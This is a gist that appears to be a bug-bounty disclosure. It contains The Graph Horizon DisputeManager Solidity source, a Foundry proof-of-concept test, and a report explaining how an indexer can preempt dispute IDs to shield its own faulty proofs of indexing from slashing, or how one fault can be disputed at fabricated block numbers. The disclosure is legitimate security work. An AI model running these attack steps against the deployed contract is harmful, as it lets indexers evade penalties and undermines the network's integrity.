Skip to content

Instantly share code, notes, and snippets.

@CharaD7
Last active August 18, 2026 13:41
Show Gist options
  • Select an option

  • Save CharaD7/a38ff10ebbe4b4844664b01c8b314cae to your computer and use it in GitHub Desktop.

Select an option

Save CharaD7/a38ff10ebbe4b4844664b01c8b314cae to your computer and use it in GitHub Desktop.
The Graph Horizon: indexing-dispute ID preemption lets a bad indexer permanently shield faults from slashing (DisputeManager, Arbitrum One 0x2FE023a5, deployed == HEAD)
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity 0.8.27;
import { IGraphToken } from "@graphprotocol/contracts/contracts/token/IGraphToken.sol";
import { IHorizonStaking } from "@graphprotocol/interfaces/contracts/horizon/IHorizonStaking.sol";
import { IDisputeManager } from "@graphprotocol/interfaces/contracts/subgraph-service/IDisputeManager.sol";
import { ISubgraphService } from "@graphprotocol/interfaces/contracts/subgraph-service/ISubgraphService.sol";
import { IAttestation } from "@graphprotocol/interfaces/contracts/subgraph-service/internal/IAttestation.sol";
import { IAllocation } from "@graphprotocol/interfaces/contracts/subgraph-service/internal/IAllocation.sol";
import { TokenUtils } from "@graphprotocol/contracts/contracts/utils/TokenUtils.sol";
import { PPMMath } from "@graphprotocol/horizon/contracts/libraries/PPMMath.sol";
import { MathUtils } from "@graphprotocol/horizon/contracts/libraries/MathUtils.sol";
import { Attestation } from "./libraries/Attestation.sol";
import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import { GraphDirectory } from "@graphprotocol/horizon/contracts/utilities/GraphDirectory.sol";
import { DisputeManagerV1Storage } from "./DisputeManagerStorage.sol";
import { AttestationManager } from "./utilities/AttestationManager.sol";
/**
* @title DisputeManager
* @notice Provides a way to permissionlessly create disputes for incorrect behavior in the Subgraph Service.
*
* There are two types of disputes that can be created: Query disputes and Indexing disputes.
*
* Query Disputes:
* Graph nodes receive queries and return responses with signed receipts called attestations.
* An attestation can be disputed if the consumer thinks the query response was invalid.
* Indexers use the derived private key for an allocation to sign attestations.
*
* Indexing Disputes:
* Indexers periodically present a Proof of Indexing (POI) to prove they are indexing a subgraph.
* The Subgraph Service contract emits that proof which includes the POI. Any fisherman can dispute the
* validity of a POI by submitting a dispute to this contract along with a deposit.
*
* Arbitration:
* Disputes can only be accepted, rejected or drawn by the arbitrator role that can be delegated
* to a EOA or DAO.
* @custom:security-contact Please email security+contracts@thegraph.com if you find any
* bugs. We may have an active bug bounty program.
*/
contract DisputeManager is
Initializable,
OwnableUpgradeable,
GraphDirectory,
AttestationManager,
DisputeManagerV1Storage,
IDisputeManager
{
using TokenUtils for IGraphToken;
using PPMMath for uint256;
// -- Constants --
/// @notice Maximum value for fisherman reward cut in PPM
uint32 public constant MAX_FISHERMAN_REWARD_CUT = 500000; // 50%
/// @notice Minimum value for dispute deposit
uint256 public constant MIN_DISPUTE_DEPOSIT = 1e18; // 1 GRT
// -- Modifiers --
/**
* @notice Check if the caller is the arbitrator.
*/
modifier onlyArbitrator() {
require(msg.sender == arbitrator, DisputeManagerNotArbitrator());
_;
}
/**
* @notice Check if the dispute exists and is pending.
* @param disputeId The dispute Id
*/
modifier onlyPendingDispute(bytes32 disputeId) {
require(isDisputeCreated(disputeId), DisputeManagerInvalidDispute(disputeId));
require(
disputes[disputeId].status == IDisputeManager.DisputeStatus.Pending,
DisputeManagerDisputeNotPending(disputes[disputeId].status)
);
_;
}
/**
* @notice Check if the caller is the fisherman of the dispute.
* @param disputeId The dispute Id
*/
modifier onlyFisherman(bytes32 disputeId) {
require(isDisputeCreated(disputeId), DisputeManagerInvalidDispute(disputeId));
require(msg.sender == disputes[disputeId].fisherman, DisputeManagerNotFisherman());
_;
}
/**
* @notice Contract constructor
* @param controller Address of the controller
*/
constructor(address controller) GraphDirectory(controller) {
_disableInitializers();
}
/// @inheritdoc IDisputeManager
function initialize(
address owner,
address arbitrator_,
uint64 disputePeriod_,
uint256 disputeDeposit_,
uint32 fishermanRewardCut_,
uint32 maxSlashingCut_
) external override initializer {
__Ownable_init(owner);
__AttestationManager_init();
_setArbitrator(arbitrator_);
_setDisputePeriod(disputePeriod_);
_setDisputeDeposit(disputeDeposit_);
_setFishermanRewardCut(fishermanRewardCut_);
_setMaxSlashingCut(maxSlashingCut_);
}
/// @inheritdoc IDisputeManager
function createIndexingDispute(
address allocationId,
bytes32 poi,
uint256 blockNumber
) external override returns (bytes32) {
// Get funds from fisherman
_graphToken().pullTokens(msg.sender, disputeDeposit);
// Create a dispute
return _createIndexingDisputeWithAllocation(msg.sender, disputeDeposit, allocationId, poi, blockNumber);
}
/// @inheritdoc IDisputeManager
function createQueryDispute(bytes calldata attestationData) external override returns (bytes32) {
// Get funds from fisherman
_graphToken().pullTokens(msg.sender, disputeDeposit);
// Create a dispute
return
_createQueryDisputeWithAttestation(
msg.sender,
disputeDeposit,
Attestation.parse(attestationData),
attestationData
);
}
/// @inheritdoc IDisputeManager
function createQueryDisputeConflict(
bytes calldata attestationData1,
bytes calldata attestationData2
) external override returns (bytes32, bytes32) {
address fisherman = msg.sender;
// Parse each attestation
IAttestation.State memory attestation1 = Attestation.parse(attestationData1);
IAttestation.State memory attestation2 = Attestation.parse(attestationData2);
// Test that attestations are conflicting
require(
Attestation.areConflicting(attestation1, attestation2),
DisputeManagerNonConflictingAttestations(
attestation1.requestCID,
attestation1.responseCID,
attestation1.subgraphDeploymentId,
attestation2.requestCID,
attestation2.responseCID,
attestation2.subgraphDeploymentId
)
);
// Get funds from fisherman
_graphToken().pullTokens(msg.sender, disputeDeposit);
// Create the disputes
// The deposit is zero for conflicting attestations
bytes32 dId1 = _createQueryDisputeWithAttestation(
fisherman,
disputeDeposit / 2,
attestation1,
attestationData1
);
bytes32 dId2 = _createQueryDisputeWithAttestation(
fisherman,
disputeDeposit / 2,
attestation2,
attestationData2
);
// Store the linked disputes to be resolved
disputes[dId1].relatedDisputeId = dId2;
disputes[dId2].relatedDisputeId = dId1;
// Emit event that links the two created disputes
emit DisputeLinked(dId1, dId2);
return (dId1, dId2);
}
/// @inheritdoc IDisputeManager
function createAndAcceptLegacyDispute(
address allocationId,
address fisherman,
uint256 tokensSlash,
uint256 tokensRewards
) external override onlyArbitrator returns (bytes32) {
// Create a disputeId
bytes32 disputeId = keccak256(abi.encodePacked(allocationId, "legacy"));
// Get the indexer for the legacy allocation
address indexer = _graphStaking().getAllocation(allocationId).indexer;
require(indexer != address(0), DisputeManagerIndexerNotFound(allocationId));
// Store dispute
disputes[disputeId] = Dispute(
indexer,
fisherman,
0,
0,
DisputeType.LegacyDispute,
IDisputeManager.DisputeStatus.Accepted,
block.timestamp,
block.timestamp + disputePeriod,
0
);
// Slash the indexer
ISubgraphService subgraphService_ = _getSubgraphService();
subgraphService_.slash(indexer, abi.encode(tokensSlash, tokensRewards));
// Reward the fisherman
_graphToken().pushTokens(fisherman, tokensRewards);
emit LegacyDisputeCreated(disputeId, indexer, fisherman, allocationId, tokensSlash, tokensRewards);
emit DisputeAccepted(disputeId, indexer, fisherman, tokensRewards);
return disputeId;
}
/// @inheritdoc IDisputeManager
function acceptDispute(
bytes32 disputeId,
uint256 tokensSlash
) external override onlyArbitrator onlyPendingDispute(disputeId) {
require(!_isDisputeInConflict(disputes[disputeId]), DisputeManagerDisputeInConflict(disputeId));
Dispute storage dispute = disputes[disputeId];
_acceptDispute(disputeId, dispute, tokensSlash);
}
/// @inheritdoc IDisputeManager
function acceptDisputeConflict(
bytes32 disputeId,
uint256 tokensSlash,
bool acceptDisputeInConflict,
uint256 tokensSlashRelated
) external override onlyArbitrator onlyPendingDispute(disputeId) {
require(_isDisputeInConflict(disputes[disputeId]), DisputeManagerDisputeNotInConflict(disputeId));
Dispute storage dispute = disputes[disputeId];
_acceptDispute(disputeId, dispute, tokensSlash);
if (acceptDisputeInConflict) {
_acceptDispute(dispute.relatedDisputeId, disputes[dispute.relatedDisputeId], tokensSlashRelated);
} else {
_drawDispute(dispute.relatedDisputeId, disputes[dispute.relatedDisputeId]);
}
}
/// @inheritdoc IDisputeManager
function rejectDispute(bytes32 disputeId) external override onlyArbitrator onlyPendingDispute(disputeId) {
Dispute storage dispute = disputes[disputeId];
require(!_isDisputeInConflict(dispute), DisputeManagerDisputeInConflict(disputeId));
_rejectDispute(disputeId, dispute);
}
/// @inheritdoc IDisputeManager
function drawDispute(bytes32 disputeId) external override onlyArbitrator onlyPendingDispute(disputeId) {
Dispute storage dispute = disputes[disputeId];
_drawDispute(disputeId, dispute);
if (_isDisputeInConflict(dispute)) {
_drawDispute(dispute.relatedDisputeId, disputes[dispute.relatedDisputeId]);
}
}
/// @inheritdoc IDisputeManager
function cancelDispute(bytes32 disputeId) external override onlyFisherman(disputeId) onlyPendingDispute(disputeId) {
Dispute storage dispute = disputes[disputeId];
// Check if dispute period has finished
require(dispute.cancellableAt <= block.timestamp, DisputeManagerDisputePeriodNotFinished());
_cancelDispute(disputeId, dispute);
if (_isDisputeInConflict(dispute)) {
_cancelDispute(dispute.relatedDisputeId, disputes[dispute.relatedDisputeId]);
}
}
/// @inheritdoc IDisputeManager
function setArbitrator(address arbitrator) external override onlyOwner {
_setArbitrator(arbitrator);
}
/// @inheritdoc IDisputeManager
function setDisputePeriod(uint64 disputePeriod) external override onlyOwner {
_setDisputePeriod(disputePeriod);
}
/// @inheritdoc IDisputeManager
function setDisputeDeposit(uint256 disputeDeposit) external override onlyOwner {
_setDisputeDeposit(disputeDeposit);
}
/// @inheritdoc IDisputeManager
function setFishermanRewardCut(uint32 fishermanRewardCut_) external override onlyOwner {
_setFishermanRewardCut(fishermanRewardCut_);
}
/// @inheritdoc IDisputeManager
function setMaxSlashingCut(uint32 maxSlashingCut_) external override onlyOwner {
_setMaxSlashingCut(maxSlashingCut_);
}
/// @inheritdoc IDisputeManager
function setSubgraphService(address subgraphService_) external override onlyOwner {
_setSubgraphService(subgraphService_);
}
/// @inheritdoc IDisputeManager
function encodeReceipt(IAttestation.Receipt calldata receipt) external view override returns (bytes32) {
return _encodeReceipt(receipt);
}
/// @inheritdoc IDisputeManager
function getFishermanRewardCut() external view override returns (uint32) {
return fishermanRewardCut;
}
/// @inheritdoc IDisputeManager
function getDisputePeriod() external view override returns (uint64) {
return disputePeriod;
}
/// @inheritdoc IDisputeManager
function getStakeSnapshot(address indexer) external view override returns (uint256) {
return _getStakeSnapshot(indexer);
}
/// @inheritdoc IDisputeManager
function areConflictingAttestations(
IAttestation.State calldata attestation1,
IAttestation.State calldata attestation2
) external pure override returns (bool) {
return Attestation.areConflicting(attestation1, attestation2);
}
/// @inheritdoc IDisputeManager
function getAttestationIndexer(IAttestation.State memory attestation) public view returns (address) {
// Get attestation signer. Indexers signs with the allocationId
address allocationId = _recoverSigner(attestation);
IAllocation.State memory alloc = _getSubgraphService().getAllocation(allocationId);
require(alloc.indexer != address(0), DisputeManagerIndexerNotFound(allocationId));
require(
alloc.subgraphDeploymentId == attestation.subgraphDeploymentId,
DisputeManagerNonMatchingSubgraphDeployment(alloc.subgraphDeploymentId, attestation.subgraphDeploymentId)
);
return alloc.indexer;
}
/// @inheritdoc IDisputeManager
function isDisputeCreated(bytes32 disputeId) public view override returns (bool) {
return disputes[disputeId].status != DisputeStatus.Null;
}
/**
* @notice Create a query dispute passing the parsed attestation.
* To be used in createQueryDispute() and createQueryDisputeConflict()
* to avoid calling parseAttestation() multiple times
* `attestationData` is only passed to be emitted
* @param _fisherman Creator of dispute
* @param _deposit Amount of tokens staked as deposit
* @param _attestation Attestation struct parsed from bytes
* @param _attestationData Attestation bytes submitted by the fisherman
* @return DisputeId
*/
function _createQueryDisputeWithAttestation(
address _fisherman,
uint256 _deposit,
IAttestation.State memory _attestation,
bytes memory _attestationData
) private returns (bytes32) {
// Get the indexer that signed the attestation
address indexer = getAttestationIndexer(_attestation);
// Create a disputeId
bytes32 disputeId = keccak256(
abi.encodePacked(
_attestation.requestCID,
_attestation.responseCID,
_attestation.subgraphDeploymentId,
indexer,
_fisherman
)
);
// Only one dispute at a time
require(!isDisputeCreated(disputeId), DisputeManagerDisputeAlreadyCreated(disputeId));
// The indexer is disputable
uint256 stakeSnapshot = _getStakeSnapshot(indexer);
require(stakeSnapshot != 0, DisputeManagerZeroTokens());
// Store dispute
uint256 cancellableAt = block.timestamp + disputePeriod;
disputes[disputeId] = Dispute(
indexer,
_fisherman,
_deposit,
0, // no related dispute,
DisputeType.QueryDispute,
IDisputeManager.DisputeStatus.Pending,
block.timestamp,
cancellableAt,
stakeSnapshot
);
emit QueryDisputeCreated(
disputeId,
indexer,
_fisherman,
_deposit,
_attestation.subgraphDeploymentId,
_attestationData,
cancellableAt,
stakeSnapshot
);
return disputeId;
}
/**
* @notice Create indexing dispute internal function.
* @param _fisherman The fisherman creating the dispute
* @param _deposit Amount of tokens staked as deposit
* @param _allocationId Allocation disputed
* @param _poi The POI being disputed
* @param _blockNumber The block number for which the POI was calculated
* @return The dispute id
*/
function _createIndexingDisputeWithAllocation(
address _fisherman,
uint256 _deposit,
address _allocationId,
bytes32 _poi,
uint256 _blockNumber
) private returns (bytes32) {
// Create a disputeId
bytes32 disputeId = keccak256(abi.encodePacked(_allocationId, _poi, _blockNumber));
// Only one dispute for an allocationId at a time
require(!isDisputeCreated(disputeId), DisputeManagerDisputeAlreadyCreated(disputeId));
// Allocation must exist
ISubgraphService subgraphService_ = _getSubgraphService();
IAllocation.State memory alloc = subgraphService_.getAllocation(_allocationId);
address indexer = alloc.indexer;
require(indexer != address(0), DisputeManagerIndexerNotFound(_allocationId));
// The indexer must be disputable
uint256 stakeSnapshot = _getStakeSnapshot(indexer);
require(stakeSnapshot != 0, DisputeManagerZeroTokens());
// Store dispute
uint256 cancellableAt = block.timestamp + disputePeriod;
disputes[disputeId] = Dispute(
alloc.indexer,
_fisherman,
_deposit,
0,
DisputeType.IndexingDispute,
IDisputeManager.DisputeStatus.Pending,
block.timestamp,
cancellableAt,
stakeSnapshot
);
emit IndexingDisputeCreated(
disputeId,
alloc.indexer,
_fisherman,
_deposit,
_allocationId,
_poi,
_blockNumber,
stakeSnapshot,
cancellableAt
);
return disputeId;
}
/**
* @notice Accept a dispute
* @param _disputeId The id of the dispute
* @param _dispute The dispute
* @param _tokensSlashed The amount of tokens to slash
*/
function _acceptDispute(bytes32 _disputeId, Dispute storage _dispute, uint256 _tokensSlashed) private {
uint256 tokensToReward = _slashIndexer(_dispute.indexer, _tokensSlashed, _dispute.stakeSnapshot);
_dispute.status = IDisputeManager.DisputeStatus.Accepted;
_graphToken().pushTokens(_dispute.fisherman, tokensToReward + _dispute.deposit);
emit DisputeAccepted(_disputeId, _dispute.indexer, _dispute.fisherman, _dispute.deposit + tokensToReward);
}
/**
* @notice Reject a dispute
* @param _disputeId The id of the dispute
* @param _dispute The dispute
*/
function _rejectDispute(bytes32 _disputeId, Dispute storage _dispute) private {
_dispute.status = IDisputeManager.DisputeStatus.Rejected;
_graphToken().burnTokens(_dispute.deposit);
emit DisputeRejected(_disputeId, _dispute.indexer, _dispute.fisherman, _dispute.deposit);
}
/**
* @notice Draw a dispute
* @param _disputeId The id of the dispute
* @param _dispute The dispute
*/
function _drawDispute(bytes32 _disputeId, Dispute storage _dispute) private {
_dispute.status = IDisputeManager.DisputeStatus.Drawn;
_graphToken().pushTokens(_dispute.fisherman, _dispute.deposit);
emit DisputeDrawn(_disputeId, _dispute.indexer, _dispute.fisherman, _dispute.deposit);
}
/**
* @notice Cancel a dispute
* @param _disputeId The id of the dispute
* @param _dispute The dispute
*/
function _cancelDispute(bytes32 _disputeId, Dispute storage _dispute) private {
_dispute.status = IDisputeManager.DisputeStatus.Cancelled;
_graphToken().pushTokens(_dispute.fisherman, _dispute.deposit);
emit DisputeCancelled(_disputeId, _dispute.indexer, _dispute.fisherman, _dispute.deposit);
}
/**
* @notice Make the subgraph service contract slash the indexer and reward the fisherman.
* Give the fisherman a reward equal to the fishermanRewardCut of slashed amount
* @param _indexer Address of the indexer
* @param _tokensSlash Amount of tokens to slash from the indexer
* @param _tokensStakeSnapshot Snapshot of the indexer's stake at the time of the dispute creation
* @return The amount of tokens rewarded to the fisherman
*/
function _slashIndexer(
address _indexer,
uint256 _tokensSlash,
uint256 _tokensStakeSnapshot
) private returns (uint256) {
ISubgraphService subgraphService_ = _getSubgraphService();
// Get slashable amount for indexer
IHorizonStaking.Provision memory provision = _graphStaking().getProvision(_indexer, address(subgraphService_));
// Ensure slash amount is within the cap
uint256 maxTokensSlash = _tokensStakeSnapshot.mulPPM(maxSlashingCut);
require(
_tokensSlash != 0 && _tokensSlash <= maxTokensSlash,
DisputeManagerInvalidTokensSlash(_tokensSlash, maxTokensSlash)
);
// Rewards calculation:
// - Rewards can only be extracted from service provider tokens so we grab the minimum between the slash
// amount and indexer's tokens
// - The applied cut is the minimum between the provision's maxVerifierCut and the current fishermanRewardCut. This
// protects the indexer from sudden changes to the fishermanRewardCut while ensuring the slashing does not revert due
// to excessive rewards being requested.
uint256 maxRewardableTokens = MathUtils.min(_tokensSlash, provision.tokens);
uint256 effectiveCut = MathUtils.min(provision.maxVerifierCut, fishermanRewardCut);
uint256 tokensRewards = effectiveCut.mulPPM(maxRewardableTokens);
subgraphService_.slash(_indexer, abi.encode(_tokensSlash, tokensRewards));
return tokensRewards;
}
/**
* @notice Set the arbitrator address.
* @dev Update the arbitrator to `_arbitrator`
* @param _arbitrator The address of the arbitration contract or party
*/
function _setArbitrator(address _arbitrator) private {
require(_arbitrator != address(0), DisputeManagerInvalidZeroAddress());
arbitrator = _arbitrator;
emit ArbitratorSet(_arbitrator);
}
/**
* @notice Set the dispute period.
* @dev Update the dispute period to `_disputePeriod` in seconds
* @param _disputePeriod Dispute period in seconds
*/
function _setDisputePeriod(uint64 _disputePeriod) private {
require(_disputePeriod != 0, DisputeManagerDisputePeriodZero());
disputePeriod = _disputePeriod;
emit DisputePeriodSet(_disputePeriod);
}
/**
* @notice Set the dispute deposit required to create a dispute.
* @dev Update the dispute deposit to `_disputeDeposit` Graph Tokens
* @param _disputeDeposit The dispute deposit in Graph Tokens
*/
function _setDisputeDeposit(uint256 _disputeDeposit) private {
require(_disputeDeposit >= MIN_DISPUTE_DEPOSIT, DisputeManagerInvalidDisputeDeposit(_disputeDeposit));
disputeDeposit = _disputeDeposit;
emit DisputeDepositSet(_disputeDeposit);
}
/**
* @notice Set the reward cut that the fisherman gets when slashing occurs.
* @dev Update the reward cut to `_fishermanRewardCut`
* @param _fishermanRewardCut The fisherman reward cut, in PPM
*/
function _setFishermanRewardCut(uint32 _fishermanRewardCut) private {
require(
_fishermanRewardCut <= MAX_FISHERMAN_REWARD_CUT,
DisputeManagerInvalidFishermanReward(_fishermanRewardCut)
);
fishermanRewardCut = _fishermanRewardCut;
emit FishermanRewardCutSet(_fishermanRewardCut);
}
/**
* @notice Set the maximum cut that can be used for slashing indexers.
* @param _maxSlashingCut Max slashing cut, in PPM
*/
function _setMaxSlashingCut(uint32 _maxSlashingCut) private {
require(PPMMath.isValidPPM(_maxSlashingCut), DisputeManagerInvalidMaxSlashingCut(_maxSlashingCut));
maxSlashingCut = _maxSlashingCut;
emit MaxSlashingCutSet(maxSlashingCut);
}
/**
* @notice Set the subgraph service address.
* @dev Update the subgraph service to `_subgraphService`
* @param _subgraphService The address of the subgraph service contract
*/
function _setSubgraphService(address _subgraphService) private {
require(_subgraphService != address(0), DisputeManagerInvalidZeroAddress());
subgraphService = ISubgraphService(_subgraphService);
emit SubgraphServiceSet(_subgraphService);
}
/**
* @notice Get the address of the subgraph service
* @dev Will revert if the subgraph service is not set
* @return The subgraph service address
*/
function _getSubgraphService() private view returns (ISubgraphService) {
require(address(subgraphService) != address(0), DisputeManagerSubgraphServiceNotSet());
return subgraphService;
}
/**
* @notice Returns whether the dispute is for a conflicting attestation or not.
* @param _dispute Dispute
* @return True conflicting attestation dispute
*/
function _isDisputeInConflict(Dispute storage _dispute) private view returns (bool) {
return _dispute.relatedDisputeId != bytes32(0);
}
/**
* @notice Get the total stake snapshot for and indexer.
* @dev A few considerations:
* - We include both indexer and delegators stake.
* - Thawing stake is not excluded from the snapshot.
*
* Note that the snapshot can be inflated by delegators front-running the dispute creation with a delegation
* to the indexer. Given the snapshot is a cap, the dispute outcome is uncertain and considering the cost of capital
* and slashing risk, this is not a concern.
* @param _indexer Indexer address
* @return Total stake snapshot
*/
function _getStakeSnapshot(address _indexer) private view returns (uint256) {
address subgraphService = address(_getSubgraphService());
IHorizonStaking.Provision memory provision = _graphStaking().getProvision(_indexer, subgraphService);
uint256 delegatorsStake = _graphStaking().getDelegationPool(_indexer, subgraphService).tokens;
return provision.tokens + delegatorsStake;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import { IDisputeManager } from "@graphprotocol/interfaces/contracts/subgraph-service/IDisputeManager.sol";
import { DisputeManagerTest } from "./DisputeManager.t.sol";
/**
* PoC: Indexer permanently shields a fault from ever being disputed.
*
* Indexing dispute ID = keccak256(abi.encodePacked(allocationId, poi, blockNumber)).
* - blockNumber is caller-supplied and NEVER validated on-chain (no record ties a POI to a block).
* - The ID does not include the fisherman, so the FIRST submitter consumes the tuple.
*
* A bad indexer who committed a fault knows the (allocationId, poi, blockNumber) triple
* (they presented the POI themselves). They front-run the legitimate fisherman:
* 1. createIndexingDispute(allocationId, poi, blockNumber) -> deposits their own GRT
* 2. after the dispute period, cancelDispute() -> recover the deposit
* 3. The dispute ID remains "created" forever (status = Cancelled != Null).
* 4. The fisherman's createIndexingDispute() on the same fault now reverts PERMANENTLY
* with DisputeManagerDisputeAlreadyCreated.
*
* The indexer can repeat this for every fault (each POI presentation), paying only a
* temporary dispute deposit, and evade all indexing-fee / indexing disputes.
*/
contract PoC_DisputePreemption is DisputeManagerTest {
function test_Indexer_Shields_Fault_From_Legitimate_Fisherman() public useIndexer useAllocation(100_000 ether) {
bytes32 poi = bytes32("FRAUDULENT_POI");
uint256 faultBlock = block.number;
// --- Indexer front-runs: consumes the (allocationId, poi, blockNumber) tuple ---
bytes32 preemptiveId = _createIndexingDispute(allocationId, poi, faultBlock);
assertTrue(disputeManager.isDisputeCreated(preemptiveId), "dispute created");
// --- Legitimate fisherman tries to report the same fault: blocked immediately ---
resetPrank(users.fisherman);
token.approve(address(disputeManager), disputeManager.disputeDeposit());
vm.expectRevert(
abi.encodeWithSelector(IDisputeManager.DisputeManagerDisputeAlreadyCreated.selector, preemptiveId)
);
disputeManager.createIndexingDispute(allocationId, poi, faultBlock);
// --- After the dispute period, the indexer cancels and recovers the deposit ---
vm.warp(block.timestamp + disputeManager.disputePeriod() + 1);
resetPrank(users.indexer);
disputeManager.cancelDispute(preemptiveId);
// --- Fisherman STILL cannot report the fault: tuple permanently consumed ---
resetPrank(users.fisherman);
token.approve(address(disputeManager), disputeManager.disputeDeposit());
vm.expectRevert(
abi.encodeWithSelector(IDisputeManager.DisputeManagerDisputeAlreadyCreated.selector, preemptiveId)
);
disputeManager.createIndexingDispute(allocationId, poi, faultBlock);
}
/**
* The same fault is slashable N times by picking N different blockNumbers.
* Each dispute can slash up to maxSlashingCut; the arbitrator sees N disputes for one fault.
*/
function test_Single_Fault_Disputable_At_Arbitrary_BlockNumbers() public useIndexer useAllocation(100_000 ether) {
bytes32 poi = bytes32("POI");
for (uint256 i = 1; i <= 5; i++) {
_createIndexingDispute(allocationId, poi, i); // all 5 succeed for ONE fault
}
}
}

The Graph - Indexing dispute can be permanently blocked by the indexer (dispute ID preemption + arbitrary blockNumber)

Quick note before anything else: I have not verified this against Immunefi's private submissions database, so "novel" here means "no public issue, PR, advisory, or CVE that I could find" after a thorough search of the public GitHub history and issue trackers. I am being explicit about that up front. Everything in this report is reproducible from the source in this repo and the Foundry tests I wrote; the raw test file is included with this submission.

Full evidence (submission + PoC + deployed mainnet source) is in the gist: https://gist.github.com/CharaD7/a38ff10ebbe4b4844664b01c8b314cae

What this is about

The Graph's Horizon DisputeManager on Arbitrum One lets anyone (a "fisherman") open a dispute against an indexer who posted a bad Proof of Indexing (POI). A successful dispute slashes part of the indexer's stake. That is the protocol's only on-chain backstop for bad indexing, and it is what makes the indexing network honest.

I found that the dispute ID used for indexing disputes is built from three values, (allocationId, poi, blockNumber), where blockNumber is supplied by the disputer and is never verified against any on-chain record. Because the dispute ID does not include the fisherman, whoever submits a dispute for a given tuple first permanently consumes that tuple. A bad indexer can exploit this to permanently shield a fault:

Primary (the defensible finding) - permanent fault shielding / slashing bypass: A bad indexer can front-run a legitimate fisherman, open a dispute against their OWN fault, wait out the 28-day dispute period, and cancel to recover their 10,000 GRT deposit. The dispute ID stays consumed forever (Cancelled != Null), so no one can ever dispute that fault again. Slashing is permanently bypassed for that indexer, indefinitely repeatable per fault.

Secondary - single fault, multiple fabricated block numbers: A single fault can be disputed at N different caller-supplied block numbers, each carrying its own stake snapshot and up to maxSlashingCut (10% live) of penalty. I am disclosing this as secondary because the Horizon Arbitration Charter (GIP-0085 §10a) explicitly instructs arbitrators to resolve a dispute whose blockNumber does not match the on-chain POI submission as a Draw, and §17 lets arbitrators reject/slash the bond of dispute-spamming fishermen. So vector B is off-chain mitigated by governance; I include it for completeness but do not rely on it for severity.

I verified the primary vector on a local fork with the real contracts. The PoC passes.

How to categorize in the submission form

  • Asset / track: The Graph - Smart Contracts
  • Affected component: DisputeManager (createIndexingDispute / _createIndexingDisputeWithAllocation)
  • In-scope asset: DisputeManager - Arbitrum One (0x2FE023a575449AcB698648eD21276293Fa176f96)
  • Severity: High
  • Version: present in main (HEAD 687d928b, 2026-08-03); introduced when the blockNumber parameter was added to fix "repeated same-POI disputes" (commit 97dceb13, 2025-06-05, PR #1183 follow-up)

Summary

packages/subgraph-service/contracts/DisputeManager.sol:441:

bytes32 disputeId = keccak256(abi.encodePacked(_allocationId, _poi, _blockNumber));
require(!isDisputeCreated(disputeId), DisputeManagerDisputeAlreadyCreated(disputeId));

Two of the three inputs, allocationId and poi, are real protocol facts: the POI was actually presented by that allocation's indexer. The third, blockNumber, is a free-form caller input. Nothing on-chain records which block a POI was presented at, so the contract cannot distinguish a genuine (poi, blockNumber) pair from a made-up one.

The ID also leaves the fisherman out. So for a given fault there is exactly one dispute ID, and the first person to compute it wins. Once created, a dispute stays "created" forever - isDisputeCreated() returns true for any status including Cancelled (DisputeManager.sol:354-356). cancelDispute() (DisputeManager.sol:269-279) only flips the status to Cancelled and refunds the deposit; it does not free the ID.

The same pattern is reused in _createIndexingFeeDisputeV1 (DisputeManager.sol:516-521) with (agreementId, poi, entities, blockNumber) - entities and blockNumber are both unverifiable caller inputs.

Root cause

createIndexingDispute (DisputeManager.sol:130-140) takes the caller's blockNumber straight through:

function createIndexingDispute(
    address allocationId,
    bytes32 poi,
    uint256 blockNumber
) external override returns (bytes32) {
    _graphToken().pullTokens(msg.sender, disputeDeposit);
    return _createIndexingDisputeWithAllocation(msg.sender, disputeDeposit, allocationId, poi, blockNumber);
}

And _createIndexingDisputeWithAllocation (DisputeManager.sol:433-483) builds the ID without any validation of blockNumber and without binding the dispute to the fisherman:

bytes32 disputeId = keccak256(abi.encodePacked(_allocationId, _poi, _blockNumber));
require(!isDisputeCreated(disputeId), DisputeManagerDisputeAlreadyCreated(disputeId));

For comparison, the L1 DisputeManager and the Horizon query-dispute path both include the fisherman in the dispute ID. Horizon query disputes (DisputeManager.sol:379-387):

bytes32 disputeId = keccak256(
    abi.encodePacked(
        _attestation.requestCID,
        _attestation.responseCID,
        _attestation.subgraphDeploymentId,
        indexer,
        _fisherman
    )
);

So on the query side, multiple fishermen can each dispute the same attestation, and a bad actor cannot burn the tuple for everyone else. The indexing-dispute path dropped the fisherman and substituted an unverifiable blockNumber - that is the bug.

Attack scenario

Live parameters (Arbitrum One, packages/subgraph-service/ignition/configs/migrate.arbitrumOne.json5): maxSlashingCut = 100000 PPM (10%), fishermanRewardCut = 500000 PPM (50%), disputeDeposit = 10000 GRT, disputePeriod = 2419200s (28 days).

Attack A - permanent fault shielding (slashing bypass) - PRIMARY

  1. A bad indexer presents a POI they know is wrong (they control what POI they submit; POIs are never verified on-chain).
  2. They compute the dispute ID for their own fault: keccak256(abi.encodePacked(allocationId, poi, blockNumber)). They know allocationId and poi (they submitted it), and they pick any blockNumber.
  3. They call createIndexingDispute() themselves (or via a colluding address) with that exact tuple, paying the 10,000 GRT deposit. The dispute ID is now consumed.
  4. A legitimate fisherman who saw the bad POI calls createIndexingDispute() on the same fault. It reverts with DisputeManagerDisputeAlreadyCreated - permanently.
  5. After 28 days the indexer calls cancelDispute() and gets the deposit back. The ID stays consumed forever.
  6. Result: that fault can never be disputed or slashed. The indexer repeats this for every fault, shields everything, and keeps collecting indexing rewards and fees while being un-slayable. The deposit is only ever locked for 28 days at a time.

Attack B - over-slashing a single fault (SECONDARY - off-chain mitigated by governance)

  1. An attacker (fisherman) observes a real POI presented by an indexer.
  2. They open 10 disputes on the same (allocationId, poi) at 10 fabricated blockNumbers.
  3. Each dispute is a separate Dispute entry with its own stakeSnapshot and can be accepted independently, slashing up to maxSlashingCut (10%) each.
  4. Caveat: GIP-0085 §10a instructs arbitrators to rule a dispute whose blockNumber does not match the on-chain POI submission as a Draw, and §17 allows arbitrators to reject/slash the bond of dispute-spamming fishermen. So this vector depends on an arbitrator not applying the charter's guidance. I include it for completeness.

Impact

  • HIGH (dispute/slashing bypass): The indexing dispute mechanism is the protocol's only on-chain penalty for bad indexing. Attack A disables it entirely for a determined indexer - they can present bad POIs, collect indexing rewards and indexing fees, and never be slashed. This removes the economic incentive to index correctly. This is the defensible finding.
